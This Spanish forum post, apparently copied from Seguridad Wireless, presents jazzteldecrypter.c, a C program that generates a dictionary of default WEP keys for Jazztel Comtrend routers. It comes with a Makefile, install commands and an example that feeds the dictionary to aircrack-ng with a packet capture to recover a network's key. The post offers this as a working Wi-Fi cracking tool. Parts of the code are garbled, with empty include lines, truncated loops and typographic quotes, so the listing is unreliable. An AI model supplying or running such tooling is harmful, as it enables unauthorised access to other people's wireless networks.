Metiendo la pata sin permiso en el codigo C de wlandecrypter, original de Nilp0inteR. He modificado el programa para obtener por diccionario la clave WEP de los ESSID tipo JAZZTEL_xx con BSSID tipo 00:1A:2B y como minimo solo 5 IVS.
jazzteldecrypter.c
Código:
/*****************************************************************************
* Fichero: jazzteldecrypter.c
* Fecha: 23-03-2006
* Autor: Nilp0inteR (nilp0inter2k6[at]gmail[dot]com)
* Actualizado: 2008 buckynet
*
* Descripcion: Generador de diccionario de claves por defecto para los
* router de Jazztel Comtrend.
*
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
*
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*
*****************************************************************************/
#include
#include
#include
//
// Numero de modelos de routers en la base de datos
//
#define MAXROUTER 12
#define MAXINDEX 1
#define VERSION 0
#define SUBVERSION 0
//
// Tipo de dato Router, con toda la informacion
//
typedef struct Router
{
char bssid[9];
char init[MAXINDEX][8];
char notas[30];
} tRouter;
//
// Variables globales
//
char hex[16]=”0123456789ABCDEF”;
//
// Funciones
//
void initRouters(tRouter routers[MAXROUTER]);
void datosRouters(tRouter routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(tRouter routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd);
//
// MAIN !!!
//
int main(int argc, char *argv[])
{
int bssidId, i;
int validHex=0;
char endKey[2];
tRouter routers[MAXROUTER];
FILE *fichero;
if(argc<3 || argc>4)
{
muestraAyuda();
return 1;
}
fprintf(stderr, “\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n”, VERSION, SUBVERSION);
if(strlen(argv[1])!=17)
{
fprintf(stderr,” [-] Longitud de BSSID invalida\n”);
return 1;
}
initRouters(routers);
datosRouters(routers);
bssidId=buscaBssid(routers, argv[1]);
if(bssidId==-1)
{
fprintf(stderr, ” [-] BSSID no encontrado\n”);
return 1;
}
else
{
fprintf(stderr, ” [+] BSSID: %s\n”
” [+] Modelo: %s\n”, argv[1], routers[bssidId].notas);
for(i=0;i
argv[2][i]=toupper(argv[2][i]);
if(strlen(argv[2]) != 10 || strncmp("JAZZTEL_", argv[2],
!= 0 )
{
fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
return 1;
}
else
{
for(i=0;i
{
if(argv[2][8]==hex[i])
{
validHex++;
break;
}
}
for(i=0;i
{
if(argv[2][9]==hex[i])
{
validHex++;
break;
}
}
if(validHex!=2)
{
fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
return 1;
}
else
{
endKey[0]=argv[2][8];
endKey[1]=argv[2][9];
fprintf(stderr," [+] ESSID: %s\n", argv[2]);
if(argc>3) // Fichero
{
fprintf(stderr,” [+] Fichero de claves: %s\n”, argv[3]);
fichero=fopen(argv[3], “a+”);
if(fichero!=NULL)
{
imprimeClaves(fichero,routers,bssidId,endKey);
fclose(fichero);
fprintf(stderr, ” [+] Fichero guardado\n”);
}
else
{
fprintf(stderr,” [-] Error al abrir el fichero\n”);
return 1;
}
}
else
{
fprintf(stderr,” [+] Seleccionada salida estandar\n”);
imprimeClaves(stdout,routers,bssidId,endKey);
}
}
}
}
return 0;
}
//
// Vacia la estructura routers
//
void initRouters(tRouter routers[MAXROUTER])
{
int i,j;
for(j=0;j
{
strcpy(routers[j].bssid,"");
for(i=0;i<5;i++)
strcpy(routers[j].init[i],"");
strcpy(routers[j].notas,"");
}
}
//
// Introduce los datos de los modelos conocidos
//
void datosRouters(tRouter routers[MAXROUTER])
{
int i =0;
// Comtrend
strcpy(routers[i].bssid,"00:1A:2B\0");
strcpy(routers[i].init[0],"E001D20\0");
strcpy(routers[i].notas,"Comtrend\0");
i++;
}
//
// Muestra la ayuda del programa
//
void muestraAyuda()
{
fprintf(stderr, "\njazzteldecrypter %i.%i - (c) 2008 nilp0inter2k6\n", VERSION, SUBVERSION);
fprintf(stderr, " uso: jazzteldecrypter [output file]\n\n”);
}
//
// Busca el bssid en la estructura y devuelve el identificador o
// -1 si no existe
//
int buscaBssid(tRouter routers[MAXROUTER], char *bssid)
{
int i;
for(i=0;i
bssid[i]=toupper(bssid[i]);
for(i=0;i
{
if(strncmp ( routers[i].bssid, bssid, 8 ) == 0)
return i;
}
return -1;
}
//
// Imprime las claves en un fichero
//
void imprimeClaves(FILE *fichero, tRouter routers[MAXROUTER], int bssidId, char *keyEnd)
{
int i,j,k,l,index=0;
while(index
{
for(i=0;i<16;i++)
for(j=0;j<16;j++)
for(k=0;k<16;k++)
for(l=0;l<16;l++)
{
fprintf(fichero, "%s%c%c%c%c%c%c\n",routers[bssidId].init[index],hex[i],hex[j],hex[k],hex[l],keyEnd[0],keyEnd[1]);
}
index++;
}
}
make
Código:
CC = gcc
CFLAGS = -g -O2
OPTFLAGS = -D_FILE_OFFSET_BITS=64
prefix = /usr
sbindir = $(prefix)/sbin
DESTDIR =
SBINFILES = jazzteldecrypter
all: jazzteldecrypter
jazzteldecrypter: jazzteldecrypter.c
$(CC) $(CFLAGS) $(OPTFLAGS) jazzteldecrypter.c -o jazzteldecrypter
install:
install -d $(DESTDIR)$(sbindir)
install -m 755 $(SBINFILES) $(DESTDIR)$(sbindir)
uninstall:
rm -f $(DESTDIR)$(sbindir)/jazzteldecrypter
clean:
rm -f jazzteldecrypter
Instalacion:
Código:
make clean && make && make install
Uso:
Código:
jazzteldecrypter [output file]
Ejemplo:
Código:
jazzteldecrypter 00:11:22:33:44:55 JAZZTEL_XX diccionario.txt
aircrack-ng -b 00:11:22:33:44:55 -w diccionario.txt captura.cap
Tambien los scripts de airoscript y airoway tienen una opcion mas
Un saludo.
PD: Como siempre, en algo, habre metido la pata.
Descargalo
http://www.fileden.com/files/2008/10/11/2138272/jazzteldecrypter.c
texto copiado de Seguridad Wireless